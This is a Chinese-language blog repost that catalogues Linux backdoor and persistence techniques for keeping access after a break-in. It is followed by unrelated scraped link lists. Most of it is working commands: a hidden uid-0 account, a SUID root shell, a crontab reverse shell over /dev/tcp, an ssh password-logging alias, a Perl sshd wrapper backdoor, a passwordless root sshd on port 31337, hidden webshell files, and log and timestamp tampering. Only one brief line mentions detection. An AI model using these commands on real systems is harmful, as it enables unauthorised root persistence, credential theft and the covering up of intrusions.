Linux后门的几种姿势
转载自 https://evilanne.github.io/2017/08/26/Linux后门-持续关注/
在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux后门,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一至在关注这方面,有的话会继续更新
常用后门技术
- 增加超级用户帐号
 - 破解/嗅控用户密码
 - 放置SUID Shell****
 - 利用系统服务程序
 - TCP/UDP/ICMP Shell
 - Crontab定时任务
 - 共享库文件
 - 工具包rootkit
 - 可装载内核模块(LKM)
 
增加超级用户
echo "Img:x:0:0::/:/bin/sh" >> /etc/passwd
如果系统不允许uid=0的用户远程登录, 还需要增加一个普通用户账号
echo "Img:x::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
无回显添加Linux密码:
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/Img:x Img:x -p $1$F1B0hFxb$NkzreGE7srRJ**\/useradd seradd -u 0 -o -g root -G roo1|| echo "123456" | passwd --stdin roo1echo "123456\n123456" |(sudo passwd roo1)useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsx\n1qaz2wsx"|passwd user1
破解/嗅探用户密码
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码。
嗅探工具,监听telnet、ftp等 端口,收集用户密码。
放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
Crontab后门
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –
ssh 公钥免密
(容易被发现)
ssh-keygen -t rsa
把id_rsa.pub写入服务端的authorized_keys中
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
alias 后门
当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
pam 后门 or openssh
最大问题是编译环境
SSH wrapper后门简介
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
默认端口为13377否则会出现:

mafix rootkit
应用级rookit,主要替换ls、ps、netstat命令来隐藏文件
很多系统不被支持

http://www.tuicool.com/articles/eIv22az
利用系统服务程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
TCP/UDP/ICMP Shell
BindShell,大部分是基于TCP/UDP协议 的网络服务程序,在高端口监听,很容易 被发现。
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
工具包rootkit
包含一系列系统及后门工具:
- 清除日志中的登录记录
 - 伪装校验和
 - 替换netstat、ps等网络工具 – 后门登录程序易于安装和使用
 
可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
执行完之后,任何一台机器ssh root@IP -p 31337不需要密码
后门的检测
使用Tripwire或md5校验来检查系统。
借助IDS系统,监听到目标机器的可疑网 络连接。
隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
清理
bash去掉history记录
export HISTSIZE=0 export HISTFILE=/dev/null
修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
Linux后门的几种姿势的更多相关文章
- [转帖]新的Linux后门开始肆虐 主要攻击中国服务器
		
新的Linux后门开始肆虐 主要攻击中国服务器 https://www.cnbeta.com/articles/tech/815639.htm 一种新的 Linux 系统后门已经开始肆虐,并主要运行在 ...
 - [后渗透]Linux下的几种隐藏技术【转载】
		
原作者:Bypass 原文链接:转自Bypass微信公众号 0x00 前言 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术. 0x01 隐藏文件 ...
 - python HelloWorld 的 4 种姿势,你知道几种
		
安装完 Python 之后该干啥,当然是要 say HelloWorld 了. python.exe 就是个普通程序 和其它所有命令一样,在命令行中敲下 python 并回车的时候,操作系统去 PAT ...
 - [转载]Linux后门整理合集(脉搏推荐)
		
我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本 ...
 - 快速了解IOC的几种姿势
		
一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...
 - 两个文件去重的N种姿势
		
最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...
 - Linux中的两种守护进程stand alone和xinetd
		
Linux中的两种守护进程stand alone和xinetd --http://www.cnblogs.com/itech/archive/2010/12/27/1914846.html#top 一 ...
 - Linux 文件的几种类型
		
文件的几种类型: 1.普通文件 普通文件就是一般意义上的文件,它们作为数据存储在系统磁盘中,可以随机访问文件的内容.Linux系统中的文件是面向字节的,文 件的内容以字节为单位进行存储与访问 ...
 - linux安装IPython四种方法
		
IPython是Python的交互式Shell,提供了代码自动补完,自动缩进,高亮显示,执行Shell命令等非常有用的特性.特别是它的代码补完功能,例如:在输入zlib.之后按下Tab键,IPytho ...
 
随机推荐
- HDU2089 不要62 题解 数位DP
			
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2089 题目大意:求区间 \([l,r]\) 范围内不包含数字"4"且不包含连续的数 ...
 - 「洛谷P1343」地震逃生 解题报告
			
P1343 地震逃生 题目描述 汶川地震发生时,四川XX中学正在上课,一看地震发生,老师们立刻带领x名学生逃跑,整个学校可以抽象地看成一个有向图,图中有n个点,m条边.1号点为教室,n号点为安全地带, ...
 - 用Eclipse和Tomcat搭建一个本地服务器
			
服务器软件环境 Eclipse oxygen Tomcat 9.0 SQL Sever 2014 参考资料 https://blog.csdn.net/qq_21154101/article/deta ...
 - AtomicXXX系列类使用分析
			
本博客系列是学习并发编程过程中的记录总结.由于文章比较多,写的时间也比较散,所以我整理了个目录贴(传送门),方便查阅. 并发编程系列博客传送门 在java.util.concurrent.atomic ...
 - wechat+项目开源分享 - 让你的微信账号有趣起来
			
WeChat+ 如果你曾经有过以下的问题或者需求,那么这篇分享很适合你: 苦于手机存储不够,但是又不敢随便删微信的消息,只能小心翼翼的清理: 酷炫沙雕表情包制作,比如把几句话融入到王静泽-真香的表情包 ...
 - Fabric1.4:运行 first-network 网络
			
说明:运行 first-network 网络,必须先安装好 fabric1.4 的预置环境,fabric1.4 的安装可以参考此博文:https://www.cnblogs.com/zongmin/p ...
 - 【tf.keras】使用手册
			
目录 0. 简介 1. 安装 1.1 安装 CUDA 和 cuDNN 2. 数据集 2.1 使用 tensorflow_datasets 导入公共数据集 2.2 数据集过大导致内存溢出 2.3 加载 ...
 - JUnit 5和Selenium基础(三)
			
在这一部分教程中,将介绍JUnit 5的其他功能,这些功能将通过并行运行测试,配置测试顺序和创建参数化测试来帮助减少测试的执行时间.还将介绍如何利用Selenium Jupiter功能,例如通过系统属 ...
 - async-await 线程分析
			
这里没有线程 原文地址:https://blog.stephencleary.com/2013/11/there-is-no-thread.html 前言 我是在看 C#8.0 新特性异步流时在评论里 ...
 - 随机算法 -  Miller_Rabin  pollard_rho
			
#include<stdio.h> #include<string.h> #include<stdlib.h> #include<time.h> #in ...